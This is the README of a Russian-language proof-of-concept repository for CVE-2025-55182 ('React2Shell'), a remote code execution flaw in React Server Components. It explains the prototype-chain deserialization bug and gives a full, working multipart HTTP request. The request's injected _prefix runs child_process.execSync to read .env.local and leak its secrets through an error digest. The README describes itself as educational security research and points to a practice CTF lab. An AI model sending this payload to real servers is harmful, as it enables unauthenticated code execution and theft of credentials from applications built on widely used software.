Этот репозиторий содержит POC для CVE-2025-55182, критической (оценка CVSS 10.0) уязвимости удаленного выполнения кода без предварительной аутентификации, затрагивающей React Server Components, также известной как React2Shell.
⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот репозиторий предназначен только для образовательных целей и исследований в области безопасности. Не используйте эту уязвимость против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.
Этот репозиторий содержит демонстрацию доказательства концепции для CVE-2025-55182, критической уязвимости удаленного выполнения кода без аутентификации, затрагивающей React Server Components.
Оценка CVSS: 10.0 (Критическая)
Затронутые версии:
react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpackCVE-2025-55182 — это уязвимость небезопасной десериализации в реализации протокола Flight компонентов React Server. Уязвимость позволяет неаутентифицированным злоумышленникам выполнять произвольный JavaScript-код на сервере путем создания вредоносных полезных нагрузок, эксплуатирующих обход цепочки прототипов и небезопасные шаблоны доступа к свойствам.
Уязвимость возникает из-за того, как React Server Components десериализуют полезные нагрузки протокола Flight. При обработке ссылок на модули код использует скобочную нотацию для доступа к свойствам (moduleExports[metadata[2]]), которая проходит по всей цепочке прототипов JavaScript. Это позволяет злоумышленникам ссылаться на свойства, которые не были явно экспортированы, включая свойство constructor, которое предоставляет доступ к глобальному конструктору Function.
Комбинируя методы загрязнения прототипов с внутренними механизмами обработки фрагментов React, злоумышленник может создать полезную нагрузку, которая в конечном итоге выполняет произвольный код через конструктор Function.
Создайте новый проект, используя версию, которая включает уязвимые React Server Components:
npx [email protected] poc-react2shell
cd poc-react2shell
Или используйте этот репозиторий.
Создайте файл .env.local в корне проекта, чтобы продемонстрировать влияние уязвимости:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Запустите сервер разработки Next.js:
npm run dev
Сервер должен запуститься на http://localhost:3000.
http://localhost:3000/POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Ответ должен содержать содержимое вашего файла .env.local в теле ответа:

Полезная нагрузка состоит из трех полей multipart формы:
Поле 0: Поддельный объект фрагмента, содержащий:
$1:__proto__:then)$B1337), запускающая эксплуатацию_response с вредоносными _prefix и _formData.getПоле 1: Ссылка на поле 0 ($@0)
Поле 2: Пустой массив ([])
Вредоносный код в _prefix читает .env.local с помощью child_process.execSync из Node.js и встраивает результат в дайджест ошибки.
Эта уязвимость позволяет злоумышленникам:
Практикуйте эту CVE в реальном сценарии
Хотите эксплуатировать CVE-2025-55182 в практической среде CTF? Ознакомьтесь с OSS OopsSec Store — специально уязвимой лабораторией, созданной для тренировки наступательной безопасности. Эта CVE реализована как один из флагов!
Это доказательство концепции предоставлено только для образовательных целей и исследований в области безопасности. Всегда убедитесь, что у вас есть явное письменное разрешение перед тестированием уязвимостей безопасности на любой системе.